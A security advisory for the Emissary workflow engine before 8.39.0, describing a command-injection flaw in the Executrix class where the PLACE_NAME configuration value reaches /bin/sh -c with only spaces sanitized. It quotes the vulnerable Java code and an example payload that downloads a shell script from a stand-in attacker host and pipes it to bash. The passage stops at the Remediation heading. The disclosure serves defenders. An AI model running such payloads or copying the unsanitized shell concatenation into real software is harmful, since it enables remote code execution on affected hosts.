Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, the Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACE_NAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution. This vulnerability is fixed in 8.39.0.

Affected: Maven: gov.nsa.emissary:emissary

## Summary

The `Executrix` utility class constructed shell commands by concatenating configuration-derived values — including the `PLACE_NAME` parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (`;`, `|`, `$`, `` ` ``, `(`, `)`, etc.) to pass through into `/bin/sh -c` command execution.

## Details

### Vulnerable code — `Executrix.java`

**Insufficient sanitization (line 132):** ```java this.placeName = this.placeName.replace(' ', '_'); // ONLY replaces spaces — shell metacharacters pass through ```

**Shell sink (line 1052–1058):** ```java protected String[] getTimedCommand(final String c) { return new String[] {"/bin/sh", "-c", "ulimit -c 0; cd " + tmpNames[DIR] + "; " + c}; } ```

### Data flow

1. `PLACE_NAME` is read from a configuration file 2. `Executrix` applies only a space-to-underscore replacement 3. The `placeName` is used to construct temporary directory paths (`tmpNames[DIR]`) 4. `tmpNames[DIR]` is concatenated into a shell command string 5. The command is executed via `/bin/sh -c`

### Example payload

``` PLACE_NAME = "test;curl attacker.com/shell.sh|bash;x" ```

After the original sanitization: `test;curl_attacker.com/shell.sh|bash;x` (semicolons, pipes, and other metacharacters preserved)

### Impact

- Arbitrary command execution on the Emissary host - Requires the ability to control configuration values (e.g., administrative access or a compromised configuration source)

## Remedia…